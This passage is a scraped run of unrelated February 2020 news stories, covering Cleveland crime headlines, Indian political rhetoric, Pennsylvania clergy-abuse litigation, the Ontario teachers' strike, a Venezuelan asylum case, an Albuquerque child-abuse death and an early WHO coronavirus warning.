fatal high-speed drunken driving crash in Cleveland Heights (cleveland.com) Akron man shoots mother during argument, police say (cleveland.com) Cleveland man with history of sex crimes drove up beside teen girls and masturbated, records say (cleveland.com) Man was driving 80 mph before head-on crash that killed two in Cleveland, police say (cleveland.com) Stolen car involved with pursuit with Cleveland police crashes into two other cars, police say (cleveland.com) Local, federal authorities seek information on Bratenahl womans disappearance (cleveland.com) Richmond Heights man killed behind the wheel in Clevelands Euclid-Green neighborhood (cleveland.com) Two arrested after Lorain drug investigation (Elyria Chronicle-Telegram) Cleveland / Cuyahoga County View of parking lot that is the future site of Sherwin-Williams' headquarters at the west end of Public Square in Cleveland. Cleveland proposes giving Sherwin-Williams incentives totaling as much as $100 million to keep the company in the city, including a rebate of sorts of city income tax revenue.The Plain Dealer Clevelands incentive package to Sherwin-Williams would commit millions to secure Fortune 500 company for generations (cleveland.com) Clevelands $100M proposed incentives for Sherwin-Williams rely on basic development tools, but on a grand scale (cleveland.com) If face masks wont necessarily protect against coronavirus, why are we buying them? (cleveland.com) Proposed new MLK library branch, Library Lofts apartments win thumbs up at design review meeting (cleveland.com) Circle Square project in Clevelands University Circle to include 24-story apartment tower (cleveland.com) Two in critical condition after hazmat situation at Cleveland trucking company (cleveland.com) Local news West Gov. Mike DeWine, right, presents Gluion Bluford with the Ohio Distinguished Service Medal during a Statehouse ceremony Thursday. Bluford, an Air Force fighter pilot, was the first black American to be launched into space. (Photo courtesy of Gov. Mike DeWine's office) Westlake resident who became first black U.S. astronaut awarded Ohio Distinguished Service Medal (cleveland.com) How Lakewoods all-boys, Catholic St. Edward High School focuses on diversity, inclusion (cleveland.com) Middleburg Heights acreage near Baldwin Creek eyed for possible conservation (cleveland.com) Akron / Canton area Akron Metropolitan Housing Authority receives $2.3 million grant from HUD for economic empowerment program at Summit Lake (cleveland.com) State With Larry Householder, Ohio legislature has missed the deadline on key bills -- including EdChoice vouchers (cleveland.com) EdChoice voucher talks in Ohio overlap with senators Florida fundraiser (cleveland.com) After years of pushback, Ohio will limit phosphorus into Lake Erie to reduce harmful algal blooms (cleveland.com) Rep. Jim Jordan visits Israel and tours Temple Mount with former Knesset member who is later arrested (cleveland.com) Ohios controversial facial-recognition database to get $21.4 million update, AG Dave Yost says (cleveland.com) Constitutional amendment targeting Ohio legislative term limits could appear on November ballot (cleveland.com) Ohio AFL-CIO backing $13 minimum wage ballot issue (cleveland.com) Proposed ballot issue expanding Ohio voting access laws clears initial hurdle (cleveland.com) Early voting historically is used little in Ohio primaries (cleveland.com) Data breach reported for 10 million MGM Resorts hotel guests (cleveland.com) Washington, Feb 21 : US President Donald Trump has formally designated Richard Grenell, the Ambassador to Germany, as acting director of national intelligence, according to a White House statement. "(Grenell) is committed to a non-political, non-partisan approach as head of the Intelligence Community, on which our safety and security depend," Xinhua news agency quoted White House press secretary Stephanie Grisham as saying in the statement on Thursday. "The President has every confidence that Ambassador Grenell will perform his new duties with distinction," she added. Grenell has served as US ambassador to Germany since April 2018. He will retain that role, given he is only leading the intelligence community on an acting basis. Trump had announced on Wednesday via Twitter that he would give the intelligence job to Grenell. Source: Xinhua| 2020-02-21 21:00:41|Editor: huaxia Video Player Close SHANGHAI, Feb. 21 (Xinhua) -- Nighttime activities and cultural tours boomed in China in 2019 and drove the development of China's culture and travel consumption, according to a series of reports released Thursday. China Tourism Academy (CTA) under the Ministry of Culture and Tourism estimated that Chinese people have made over 6 billion domestic trips in 2019, contributing 5.73 trillion yuan (816 million U.S. dollars) to the tourism revenue, up 8.4 percent and 11.7 percent compared with the previous year respectively. He Qiongfeng, an expert with the CTA, said that the satisfaction index for tourism among Chinese travelers gained 3.04 percent year-on-year to 80.28 in 2019, hitting a 10-year high. Another research held by CTA and China UnionPay Merchant Services Co., Ltd. (China UMS) showed that Chinese have spent 18.8 percent of their expenditures on traveling, indicating that travel has become an inseparable part of people's lives. Though first and second-tier cities including Shanghai, Guangzhou, Beijing, Nanjing and Shenzhen still witnessed the most active travelers in 2019, the spending gap between eastern and western cities was narrowed, with more people from third- and fourth-tier cities traveling last year, according to Wang Tianqing with China UMS. According to CTA, over 80 percent of travelers have attended cultural activities and visited museums in the past year. Data from China UMS also showed that the number of consumers to cultural venues such as museums and historic scenic spots in 2019 increased by more than 30 percent year on year, and their total consumption was up over 25 percent. Red tourism attractions, such as sites with revolutionary history, welcomed 31.1 percent more visitors in 2019 than the previous year and the consumption volume increased 25.6 percent, according to China UMS. Cultural and tourism consumption at night witnessed strong growth in 2019, too. According to China UMS, the total amount of tourism spending at night accounted for 28.6 percent of the total tourist spending. Zhang Jiayi, an expert with CTA said that more cultural venues and tourist attractions extended opening hours and engaged in more nighttime activities in 2019 to cater to people's needs. For 2020, Chinese travelers and businesses have expressed confidence in the development of the country's tourism industry, although it is experiencing a hard time as a result of the novel coronavirus outbreak. Another recent survey by CTA showed 71.5 percent of the respondents would travel after the outbreak ends or wait a bit until the situation stabilizes, while 20.7 percent would go traveling as soon as possible after the epidemic. "China's tourism economy will show strong resilience against the epidemic," said Dai Bin, president of CTA. Pune/Mumbai: The BJP on Friday (February 21, 2020) slammed All India Majlis-e-Ittehadul Muslimeen (AIMIM) leader Waris Pathan for making the controversial hate speech in Karnataka recently. The saffron party even questioned whether Waris Pathan`s communal statement is part of his party`s constitutional mandate. "AIMIM chief Asaduddin Owaisi regularly, within the Parliament as well as outside it, talks about the constitution and its aspects. What kind of constitutional mandate is being carried out by his party AIMIM when a senior leader of his party Waris Pathan is making communal and inflammatory statements? He says that 15 crore Muslims can dominate 100 crore Indians," BJP leader Nalin Kohli said. Earlier on Friday, BJP leader and Union Minister Giriraj Singh targeted AIMIM chief Asaduddin Owaisi, his brother and Waris Pathan and asked the Congress, the Rashtriya Janata Dal (RJD) and the alleged `tukde-tukde gang` `do they want that India should become Pakistan`. Singh took to Twitter and wrote in Hindi: "Owaisi`s brother - Remove police for 15 minutes, we will see 100 crore Hindus, Waris Pathan - 15 crore will be tough on 100 crore, From Owaisi`s dais - Pakistan Zindabad. I would like to ask Congress, RJD and tukde-tukde gang that do they want to make India a Pakistan." Addressing a public event in Karnataka on Thursday, Pathan had said that we are just 15 crore but can be a bigger force than the 100 crore majority population. On Thursday, Singh while addressing a gathering in Purnia said that all the Muslims should have been sent to Pakistan in 1947 itself. Our ancestors committed a mistake and we are paying for it, he added. Reacting to his controversial statement, Union Minister and BJP Mukhtar Abbas Naqvi said that AIMIM chief Asaduddin Owaisi has sowed poison and is reaping vitriolic yields. Reacting on the pro-Pakistan slogans allegedly raised by a student at an anti-CAA rally in Bengaluru heralded by AIMIM chief Owaisi, Naqvi said, "Asaduddin Owaisi has sowed poison so he is reaping vitriolic yields. The raising of `Pakistan zindabad` slogan is unacceptable." "AIMIM leaders like Waris Pathan are instigating and misleading people to remain in relevance," he added. Naqvi was referring to a student named Amulya, who allegedly raised `Pakistan zindabad` slogan at an anti-CAA rally organised by AIMIM chief Owaisi in Bengaluru on Thursday. A case was later registered under Section 124A (Offence of sedition) of the Indian Penal Code against Amulya and she was remanded to 15-day police custody by a local court. Meanwhile, A BJP youth wing leader from Pune has registered a police complaint against Waris Pathan for his controversial remarks made recently in Karnataka. Parismal Deshpande, a BJYM worker, submitted the written application at the Deccan Gymkhana Police Station, demanding action against Pathan for allegedly promoting enmity between different groups and outraging religious feelings of a community. Deshpande, in his complaint stated, that Pathan reportedly said "15 crore hai lekin 100 crore pe bhari hai' (We are 15 crore but we can dominate 100 crore). "The statement by Pathan promotes violence and create a divide between two communities. "Because of such statements, there are possibilities of atmosphere getting vitiated. Hence, he should be booked under IPC sections 153A (promoting enmity between different groups, 295A (outraging religious feelings), and 504 (provoking breach of the peace)," Deshpande said in the complaint. An officer from the Deccan police station confirmed receiving the application. Meanwhile, in Mumbai, the BJP slammed Pathan. The saffron party on Thursday tweeted @BJP4Maharashtra saying, "Waris Pathan, who are you threatening to? Shiv Sena led government may tolerate your comments; but BJP and people of Maharashtra will teach you a lesson that your hate- mongering speeches will be shut." However, Pathan has issued a statement to the media, saying he has been quoted out of context. "I hereby wish to state that the media reports on TV channels showing my statement made in the public meeting at Gulbarga five days back have totally quoted me out of context," Pathan claimed late on Thursday evening. "I wish to reiterate that I can never say anything intentionally or unintentionally that hurts the sentiments of any caste, community or gender. I am a proud Indian and respects the plurality of this country," he said. While admitting that he has been angry like many Indians that the Centre is neglecting issues concerning CAA, NRC and NPA, the former MLA from Mumbai said, "Neither me nor my party supports anything that creates a divide between people on the basis of caste, creed and religion." Richard Serbin had faced untold hurdles in court representing more than 400 victims of child sex abuse. From litigating the drawn-out 20-year case involving Michael Hutchinson, a former altar boy who was abused for years by his priest at St. Therese Catholic Church in Altoona, to representing hundreds of other victims who simply had no legal recourse, Serbin is no stranger to Pennsylvanias restrictive child sex crime laws. Now he is positioned to potentially single-handedly change the course of justice for untold victims. And in the process, Serbin has served a pivotal role in the decision by the Diocese of Harrisburg to file for federal bankruptcy protection. After years of having clients shut out of the courts because they were beyond the statute of limitations, Serbin in 2016 took a different tactic. He took the sexual abuse of one of his clergy victims off the table, and instead, made the failed obligation of the Altoona-Johnstown Diocese the focal point of his legal argument. A lower court overruled, but in August, a Superior Court found merit in Serbins legal argument: that the Diocese of Altoona-Johnstown had committed conspiracy, fraud and constructive fraud when it didnt protect his client Renee Rice from the predator priest. This week, when the Diocese of Harrisburg announced it had filed for federal bankruptcy protection, the senior counsel for the diocese noted the Rice decision as having factored in that decision. As of right now that case is the law in the Commonwealth, said Matt Haverstick. Its not quite that original tort claims are revived, but its a different legal theory that nobody anticipated. Its frankly a very novel theory. Im not sure how it will hold up when it goes to the Supreme Court but thats reopened a whole new avenue for survivors with historic claims to file lawsuits against the diocese, he said. More: Court sets bankruptcy rules for Harrisburg Diocese The Diocese of Harrisburg is the first Pennsylvania diocese to seek bankruptcy protection from mounting clergy sex abuse lawsuits. The bankruptcy filing comes less than two years after a landmark grand jury investigation implicated the Harrisburg diocese - and five other dioceses in the state - of protecting predator priests who for decades sexually abused thousands of children. Harrisburg last year paid out $12 million in settlements with more than 100 survivors as part of their victims compensation fund. The majority of those victims were time barred due to expired statute of limitations. Then came the 2018 ruling on Serbins argument in the Rice case: He argued that Rice did not have the advantage of full discovery since she was not aware of the full extent of the cover-up of abuse until after the 2018 grand jury report on clergy sex abuse. He argued the diocese had failed to perform its fiduciary obligation towards Rice when it failed to protect her. For an attorney who was exhausted fighting Pennsylvanias statute of limitations - widely considered among the nations most restrictive laws - Serbin welcomes the seeming reprieve from the hurdles. It makes me feel great, said Serbin, a 1974 graduate of Duquesne University School of Law who has largely practiced in Altoona but has represented clients statewide. The Superior Court said these were questions of fact that had been thrown out. I felt wonderful that I had overcome the statute of limitations based on the causes of action. At the same time, I felt bad that here all these other people I had represented whose cases were dismissed preliminarily were done so improperly. They should have been decided by a jury, instead of summarily dismissed. Im very proud and was happy to share the benefit of my work with other attorneys. Serbin has since filed a handful of other similar cases against the Diocese of Harrisburg, as well as other dioceses in Pennsylvania. A number of attorneys have also filed complaints in court citing the Rice case. At least two cases against the Diocese of Harrisburg have been based on the Rice case. Donald Asbee, in July filed a lawsuit claiming he was brutally and repeatedly raped by two priests from the diocese. Patrick J. Duggan of Harrisburg in October filed a lawsuit claiming the diocese failed in its obligation to protect him. Duggan claims that starting when he was 13, his history teacher at St. Francis of Assisi Catholic School began sexually molested and raped him for years. The Diocese of Altoona-Johnstown has filed a petition requesting permission to appeal the Rice case to the U.S. Supreme Court. The high court has yet to accept or reject that petition. Until the high court overrules it, Rice remains law. More: Bankruptcy court could throw open the secret archives of the Diocese of Harrisburg Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. The Cancer Prevention and Research Institute of Texas (CPRIT) has awarded new grants totaling $1.8 million to two University of Texas at Dallas scientists for their research related to lung and kidney cancers. The Individual Investigator Awards are among 55 new grants totaling more than $78 million that the institute announced Feb. 19. To date, CPRIT has awarded $2.49 billion in grants to Texas research institutions and organizations through its academic research, prevention and product development research programs. With the latest grants to the researchers in the School of Natural Sciences and Mathematics, UT Dallas has received nearly $18.5 million from CPRIT to support cancer studies. "CPRIT continues to be an important source of funding for efforts aimed at the prevention and treatment of cancer," said Dr. Joseph Pancrazio, vice president for research and professor of bioengineering at UT Dallas. "The institute's ongoing support of basic research allows UT Dallas scientists to make important contributions toward the fundamental understanding of disease and the improvement of outcomes for cancer patients." Dr. Li Zhang, professor of biological sciences and the Cecil H. and Ida Green Distinguished Chair in Systems Biology Science, received $900,000 for lung cancer research. In previous studies, Zhang and her colleagues discovered that cells of the most common type of lung cancer -- non-small cell lung cancer -- consume substantially more oxygen than normal cells. The lung cancer cells also outpace their normal counterparts in synthesizing a critical chemical called heme, which helps transport and store oxygen. These elevated levels of oxygen and heme fuel tumor growth and progression. With the new CPRIT grant, Zhang will use advanced imaging techniques in animal models to investigate whether drugs that target heme synthesis and uptake can be a successful strategy for suppressing lung tumors and improving the effectiveness of chemotherapy, radiotherapy and immunotherapy. Zhang previously received a CPRIT grant of $900,000 in 2015. Dr. Jie Zheng, professor of chemistry and biochemistry and the Cecil H. and Ida Green Professor in Systems Biology Science, also received $900,000 for his research, which is aimed at improving the accuracy of computerized tomography (CT)- and fluorescence-guided kidney cancer surgery. With more kidney cancers being diagnosed in the early stage, partial kidney removal is becoming an increasingly important treatment, in particular for those patients who have poor kidney function or cancer in both kidneys. In current clinical settings, CT is used first to noninvasively localize and stage kidney cancers, followed by fluorescence imaging of normal renal tissue to guide surgery. However, due to the limitations of current contrast agents, no significant improvement in reducing positive margin rates in kidney cancer surgery has been achieved, Zheng said. Zheng's project will focus on developing a single material, based on gold nanoparticles, that can achieve high contrast in both CT and fluorescence imaging of kidney cancers. His approach takes advantage of the unique physiological microenvironment associated with kidney cancer in a way that allows the tumor margins to be more accurately differentiated during surgical removal. His nanoparticles also have the potential to effectively and selectively deliver anti-cancer drugs to tumors that cannot be treated surgically. ### Zheng received three previous CPRIT grants in 2011, 2014 and 2016 totaling nearly $2.4 million. LinkedIn has cornered the market when it comes to putting your own professional profile online and using it to network for jobs, industry connections and professional development. But when it comes to looking at a chart of the people, and specifically the leadership teams, who make up organizations more holistically, the Microsoft-owned network comes up a little short: you can search by company names, but chances are that you get a list of people based on their connectivity to you, and otherwise in no particular order (including people who may no longer even be at the company). And pointedly, there is little in the way of verification to prove that someone who claims to be working for a company really is. Now, a startup called The Org is hoping to take on LinkedIn and address that gap with an ambitious idea: to build a database (currently free to use) of organizational charts for every leading company, and potentially any company in the world, and then add features after that, such as job advertising -- for example organizations looking to hire people where there are obvious gaps in their org charts. With 16,000 companies profiled so far on its platform, a total of 50,000 companies in its database and around 100,000 visitors per month, The Org is announcing $11 million in funding: a Series A of $8.5 million, and a previously unannounced seed round of $2.5 million. Led by Founders Fund, the Series A also includes participation from Sequoia and Balderton, along with a number of angels. Sequoia is actually a repeat investor: it also led The Org's $2.5 million seed round, which also had Founders Fund, Kevin Hartz, Elad Gil, Ryan Petersen, and SV Angel in it. Keith Rabois, who is now a partner at Founders Fund but once held the role of VP of business and corporate development at LinkedIn, is also joining the startup's board of directors. Co-headquartered in New York and Copenhagen, Denmark, The Org was co-founded by Christian Wylonis (CEO) and Andreas Jarbl, partly inspired by a piece in online tech publication The Information, which provided an org chart for the top people at Airbnb (currently numbering 90 entries). Story continues "This article went crazy viral," Wylonis said in an interview. "I would understand why someone would be interested in this outside of Airbnb, but it turned out that people inside the company were fascinated by it, too. I started to think, when you take something like an org chart and make it publicly facing, I think it just becomes interesting." So The Org set out to build a bigger business based on the concept. For now, The Org is aimed at two distinct markets: those outside the company who might most typically be interested in who is working where and doing what and reporting to whom -- for example, recruiters, those in human resources departments who are using the data to model their own organizational charts, or salespeople; and those inside the company (or again, outside) who are simply interested in seeing who does what. The Org is aiming to have 100,000 org charts on its platform by the end of the year, with the longer-term goal being to cover 1 million. For now, the focus is on adding companies in the US before expanding to other markets. But while the idea of building org charts for many companies sounds easy enough, there is also a reason why it hasn't been done yet: it's not nearly as simple as it looks. That is one reason why even trying to surmount this issue is of interest to top VCs -- particularly those who have worked in startups and fast-growing tech companies themselves. Today, information about teams is unstructured, scattered, and unverified, making it hard for employees and recruiters to understand organizational structures, said Roelof Botha, partner at Sequoia Capital, in a statement. Organizational charts were the secret weapon to forging partnerships during my 20 years as an entrepreneur in Silicon Valley and Europe. Yet, they are a carefully guarded secret, which have to be painstakingly put together by hand," said Lars Fjeldsoe-Nielsen, general partner at Balderton Capital, in a statement. "The Org is surfacing this critical information, improving efficiency from the sales floor to the boardroom." Up-to-date org charts can be useful for everything from recruiting to sales, but they are difficult and time consuming to piece together," added Rabois in a statement. "The Org is making this valuable information easily accessible in a way we were never able to do at LinkedIn." The approach that The Org is taking to building these profiles so far has been a collaborative one. While The Org itself might establish some company names and seed and update them with information from publicly available sources, that approach leaves a lot of gaps. This is where a crowdsourced, wiki-style approach comes in. As with other company-based networking services such as Slack, users from a particular company can use their work email addresses to sign into that organization's profile, and from there they can add or modify entries as you might enter data in a wiki -- the idea being that multiple people getting involved in the edits will help keep the company's org chart more accurate. While The Org's idea holds a lot of promise and seems to fill a hole that other platforms like LinkedIn -- or, from another direction, Glassdoor -- do not address in their own profiling of companies, I can see some challenges, too, that it might encounter as it grows. Platforms that provide insights into a company landscape, such as LinkedIn or Glassdoor, are ultimately banked more around individuals and their own representations. That means that by their nature these platforms may not ever provide complete pictures of businesses themselves, just slices of it. The Org, on the other hand, starts from the point of view of presenting the company itself, which means that the resulting gaps that arise might be more apparent if they never get filled in, making The Org potentially less useful as a tool. (Consider for example either making sure the data is up to date, or whether you have a complete or or partial picture of an engineering, marketing or operations team based solely on who has made the effort to update or disclose information). Similarly, if these charts really are often closely guarded by companies (something I don't doubt is true, since they could pose poaching risks, or copycats in the form of companies attempting to build org structures based on what their more successful competitors are doing), I could see how some companies might start to approach The Org with requests to remove their profiles and corresponding charts. Wylonis said that "99%" of companies so far have been okay with what The Org is building. "The way that we see it is that transparency is of interest to the people who work there," he said. "I think that everyone should strive for that. Why block it? The world is changing, and if the only way to keep your talent is by hiding your org chart you have other problems at your company." He added that so far The Org has not had any official requests, "but we have had informal enquiries about how we get our information. And some companies email us about changes. And when an individual person gets in touch and says, 'I don't want to be here,' we delete that. But it's only happened a handful of times." It's not clear whether that proportion stays the same, or goes up or down, as The Org grows. In the meantime, the other big question that The Org will grapple with is just how granular should it go? "I hope that one day we can have an updated and complete org chart for every business, but that might prove difficult," Wylonis said. Indeed, that could mean mapping out 1 million people at Walmart, for example. "For the biggest companies, it may be that it works to map out the top 500, with the top 30-40 for smaller companies. And people can always go in and make corrections to expand those if they want." Interestingly, the org chart appears to be having something of a startup moment. Just hours after I published this, another called ChartHop announced funding. ChartHop is the other side of the coin from The Org: it's addressing the same challenge of needing a better way to track and view org charts, but it taps lots of internal resources at the company in question, and is not built with the intention of sharing externally. Friday began with the first, mass strike by Ontarios 200,000 teachers and school staff, walking picket lines in what they called a historic show of unity to pressure the provincial government to back off its controversial changes. And just hours after the walkout was over, two of the four unions announced they will be back at the bargaining table Monday with Catholic teachers even saying they will suspend planned rotating strikes next week. That means the walkout scheduled to hit the Toronto Catholic board, among others, on Monday is cancelled. The AEFO, representing 12,000 French-board teachers, will be taking part in talks next Thursday and Friday. This is a great day and its also one of the saddest days around because we have to do this, said Remi Sabourin, president of the Association des enseignantes et des enseignants franco-ontariens (AEFO), at Queens Park. Today members are coming out, and hopefully it will make a difference. Speaking to reporters inside the legislature, Education Minister Stephen Lecce said he was upset that the Catholic teachers, who bargained with the province for two days prior had opted to pause that momentum to strike today, calling it really unfair to kids. We should have been negotiating today, he said. Outside the legislature, some 35,000 teachers, school staff, parents and some students marched the one-kilometre-plus route around Queens Park Circle. In Peel Region, another 20,000 lined up for about 30 km along Highway 10, from Lake Ontario north to Caledon. Harvey Bischof, president of the Ontario Secondary School Teachers Federation, said its time the government listened to front-line educators and to parents because they are speaking with largely one voice about what they want. His association is the lone high school union not to have been called to the negotiating table at all this year; their last bargaining date was Dec. 16. Liz Stuart, president of the Ontario English Catholic Teachers Association, said more than 200,000 teachers and education workers across the province are standing up with one voice, saying you must pull back these cuts. Both the French and Catholic teacher unions bargained Wednesday and Thursday with the provincial government. Stuart called the negotiations respectful, and Lecce agreed they were productive talks. Her unions planned rotating strikes will remain suspended as long as progress is made at the bargaining table, she said. Fridays strike shut down all 5,000 publicly funded schools, cancelling classes for the provinces two million students. Teachers oppose the governments move to boost class sizes, especially in high schools where the current proposal is for an average of 25 leading to thousands of lost teaching positions as well as fewer course options for teens. They also want the government to abandon plans to mandate two online courses in high schools, which would be a first in North America and critics say difficult to implement given concerns about student access to computers, the Internet, as well as the quality of such courses and timely access to teachers. NDP Leader Andrea Horwath said a number of polls, as well as surveys conducted by boards and student groups, show little support for the governments changes. We didnt have to end up here with all of the provinces teachers striking, Horwath said at Queens Park. At the protest, Scarborough teacher Candida Iorga said shes concerned about growing class sizes her Grade 8 extended French class is large, and its very hard to teach with 32 kids in a class. Colleagues Melanie Johnston and Ann Truong said theyve seen fewer education assistants to help needy students among the cuts in their school. Kids cant do the work if they are not supported, said Truong. Teachers have engaged in job action since late last year, including rotating strikes, bare-bones report cards and, for members of the Elementary Teachers Federation of Ontario, no extracurriculars. The elementary union announced Thursday that it will move into phase six of its job action, with details to come next Monday. It has been hitting boards with strikes two days a week one rotating, one all-out provincial walkout each week. The Ontario Secondary School Teachers Federation has been holding one-day rotating strikes, and will continue that next Friday. The AEFO said it will hold another, one-day, province-wide strike next week, with details to come. Lecce said Friday that right now my focus is to get a deal that keeps kids in class. Teachers last banded together for a province-wide job action in 1997. They were not in a legal strike position, and their two-weeks off the job was deemed a political protest. One of President Donald Trumps immigration policies has separated an 18-year-old from her father after they both fled from Venezuela last summer, hoping to come to the U.S, according to multiple reports. The young woman, Branyerly, has been left in a part of Mexico the State Department deems too dangerous for travel while her 47-year-old father pleads for her to be able to join him. I already lived one nightmare in Venezuela and another here, Branyerly told the Associated Press. Dad Branly at times grew emotional discussing their situation. Near tears, he told BuzzFeed: Shes a young girl and knowing shes alone in Matamoros is unbearable. The whole reason I went back to Venezuela was to get her because her life is worth more than mine and now shes alone in Mexico. What I care about is my daughter, Branly said to the AP, crying. How did they do it for me but not my daughter? I dont understand. I dont understand. Its the latest headline-making case under President Trumps push to restrict immigration to the U.S., which was a key part of his presidential campaign and has been one of the largest and most polarizing parts of his administration. Trump has described migrants using hyperbolic, divisive language and has said decreasing immigration is a matter of national security, which advocates dispute. He said that before he changed the system, it was ridiculous. The AP reports that earlier this week, Branyerly (who like her father was only identified by her first name given the sensitivity of the situation) was denied a request to join dad Branly in the U.S. after a judge let him enter the country in January. Branyerly has been living in the Mexican city of Matamoros. RELATED: Court Gives Trump the Okay to Spend $3.6 Billion in Military Funds on His Mexico Border Wall Branyerly, an 18-year-old from Venezuela, who was separated from her father at the U.S.-Mexico border after seeking asylum with him | Jodi Goodwin/AP Father and daughter, they say, left Venezuela to avoid violent, politically motivated oppression there, according to the AP and BuzzFeed. Branyerly had refused to take a job supporting Venezuelan President Nicolas Maduro, who is opposed by the Trump administration and whose own government is being challenged by opposition leader Juan Guaido. Story continues BuzzFeed reported that Branly initially left Venezuela in early 2019 without his daughter, believing she would not be targeted once he was gone. But he returned last summer to bring her back with him to the U.S. after he says men threatened to kill her. They had an immigration hearing in January after applying for asylum last July. However, that same month the Trump administration changed the rules on asylum, blocking non-Mexican migrants from entering the U.S. through the countrys border with Mexico. An immigration judge decided earlier this month that Branly was eligible for withholding of removal protections but not his daughter. RELATED: Wind Gusts Blew Over Part of Trumps Border Wall as the Concrete Was Drying and Twitter Has Thoughts Citing an attorney, BuzzFeed reported that [Branyerly] was a teenager when her family fled Venezuela and was not as politically active or visible as her father, a point the judge made to deny her the protection granted to Branly. A July 2019 executive order from Trump closed off the U.S.-Mexico border for migrants coming from Central America, forcing them to first seek asylum in Mexico or the other countries they passed through before being eligible to seek asylum in America, according to The New York Times. A U.S. Customs and Border Protections spokesperson told PEOPLE this week the agency would not discuss individual cases. An attorney for Branly and Branyerly did not respond to PEOPLEs request for comment. The citizens of Venezuela have suffered for too long at the hands of the illegitimate Maduro regime. Today, I have officially recognized the President of the Venezuelan National Assembly, Juan Guaido, as the Interim President of Venezuela. https://t.co/WItWPiG9jK Donald J. Trump (@realDonaldTrump) January 23, 2019 Branly told BuzzFeed he originally fled Venezuela after being kidnapped and beaten for not accepting a job with President Maduros administration that wouldve forced him to pressure others into voting to support Maduro through aggressive action, such as withholding food supplies. After he survived his kidnapping, Branly traveled to the U.S. on a tourist visa and left his daughter with family there, believing she wouldnt be at risk, according to BuzzFeed. However, Branly said, in June men threatened to kill his daughter unless he returned to the country. After father and daughter were ordered separated, the two shared a confused, frantic goodbye as a CBP officer escorted Branly away from his daughter and she told him, Go, Dad, go, BuzzFeed reported. Branyerly has been staying with friends in Matamoros a city in Mexico which the State Department advises tourists against visiting. The department tells Americans do not travel to Tamaulipas, the Mexican state where Matamoros is located, due to an increased risk for crime and kidnapping. U.S. government employees may not travel between cities in Tamaulipas using interior Mexican highways and they must observe a curfew between midnight and 6:00 a.m., a State Department travel advisory warns. Copyright 2020 Albuquerque Journal The last time Kevin Nelson saw his step-grandson James Dunklee alive was in spring, when the boys mother took him to the zoo. He said the 4-year-old boy had been living with him for most of his life, and several of his toys including his favorite firetruck are still collecting dust in his garage. He was a great kid, he really was Nelson said, trailing off. Months later, Nelson said he got a call from James aunt saying the boy had been killed, allegedly at the hands of one of his mothers roommates who state social workers had determined should not be caring for him. On Tuesday, detectives charged the roommate, 26-year-old Zerrick Marquez, with child abuse resulting in death. I was shocked; I couldnt believe it, Nelson said. First thing I did was send his mother a text, saying, Hey, what happened? She never responded. In October, prosecutors say, the boys mother took him into urgent care with a shoulder injury. When doctors found additional injuries on James, the New Mexico Children, Youth and Families Department intervened with a safety plan. Part of that plan was keeping James out of Marquezs care. But police say that on Dec. 10, Marquez called 911 to report that the boy was unconscious and not breathing. An autopsy found the boy had a skull fracture and severe internal injuries. The 2nd Judicial District Attorneys Office has filed a motion to detain Marquez until trial. In that motion prosecutors say a safety plan was in place by the CYFD at the time of the childs death following previous allegations of abuse perpetrated by Marquez. Charlie Moore-Pabst, a CYFD spokesman, said the agency is investigating the childs death but couldnt give any other details. Unfortunately right now theres not much I can say, he said. Once that investigation is complete, Moore-Pabst said CYFD will be able to release more information to the public. Detectives say Marquez was babysitting when he allegedly beat and killed James at the Southeast Albuquerque apartment he shared with the child and his mother. Marquez told police he accidentally fell on the boy, but an autopsy showed severe injuries including a skull fracture and lacerated internal organs not consistent with his story. Detectives say they also found text messages between Marquez and his girlfriend in which the couple talk about beating the children in the home and lying to James mother about a bruise on the boys leg. They also say in the text messages that they hated the mother and child. The mother of Marquezs girlfriend told police the couple brought the boy over for Thanksgiving and he couldnt walk and was in a lot of pain. According to the motion filed by the DAs Office, the safety plan was put in place months before the boys death after allegations of abuse surfaced. The motion does not give any details on the allegations. DA spokesman Michael Patrick said the safety plan stemmed from an incident where James mother took the boy into urgent care with a shoulder injury in October. They found the kid had other injuries on him, he said. Thats when they alerted CYFD. Patrick said those other injuries included multiple scratches and a bruise on the childs genitals. The DAs office has requested documents related to the CYFD investigation. James was not supposed to be cared for by Marquez after the incident, according to the motion. Marquez was aware of the safety plan and continued to care for James despite the plan which ultimately resulted in (the boys) death. Marquez has not been assigned a public defender and his family could not be reached for comment. Nelson said he was the boys grandfather by marriage. Hes my step-grandchild. But I didnt look at it that way, he said. Nelson said James loved his grandfathers pack of six dogs, especially a pit bull-Rhodesian ridgeback named Cow, watching cartoons including Paw Patrol and eating Oreos. We made sure he got something to eat at night, had clean clothes to wear, had a warm, safe place to sleep, had toys to play with, he said. Everything a kid needs. Nelson said things became tense last year when James mother was evicted from her apartment and wanted to take James but didnt have a stable living situation. He said she got CYFD involved and the agency proposed a reunification plan, telling Nelson he couldnt keep the boy from his mother. We said, OK, fine. Were more than open to doing that, but she needs to have a place first,' he said. They didnt care. They didnt even give us a choice; they didnt listen to us. They didnt seem to care what James wanted or needed. Moore-Pabst declined to respond to Nelsons comments. Looking back, Nelson said he never thought it wouldve ended this way. If we did he wouldnt have gone with her for any reason, he said. He would still be here, alive and safe. Other cases Albuquerque had at least two other cases of child abuse resulting in death in 2019 happening just days apart and both involving alleged abuse between fathers and their daughters. Brandon Reynolds, 37, is accused of beating 5-year-old Sarah Dubois-Gilbeau to death with a water shoe when she refused to do her homework on April 5. In the other case, Moses Johnson III, 40, is accused of leaving his 11-month-old baby strapped to a car seat in a motel bathroom while he had sex and smoked marijuana. The baby fell facedown into a bathtub and died. Gabriel Schmitt is FCB New York's new co-chief creative officer Gabriel Schmitt has been promoted to the co-chief creative officer position at FCB New York's office. Schmitt previously held the positions of executive creative director and group creative director since he joined the advertising agency in 2016. In his new role, Schmitt will work closely with FCB New York president Emma Armstronga, chief strategy officer Todd Sussman and the other co-chief creative officer, of which the agency is still hunting. Before Joining FCB, Schmitt was a creative director at Forsman & Bodenford and held stints at FCB Chicago and Dentsu Aegis Network in Sao Paulo. Samsung Electronics' office in Seoul / Yonhap Tech giant seeks to improve transparency By Baek Byung-yeul Bahk Jae-wan, Samsung Electronics' board chairman The World Health Organization has warned that the window to stem the coronavirus outbreak is shrinking, against a background of concern over a surge in cases with no clear link to China. World Health Organization chief Tedros Adhanom Ghebreyesus has for weeks insisted the low number of cases of Covid-19 outside the epicentre of the outbreak in China's central Hubei province offered a chance to limit the international spread. But as cases surged across the Middle East and in South Korea on Friday, the WHO boss cautioned for the first time that while "we are still in a phase where containment is possible... our window of opportunity is narrowing". He warned that if countries did not quickly mobilise to fight the spread of the virus, 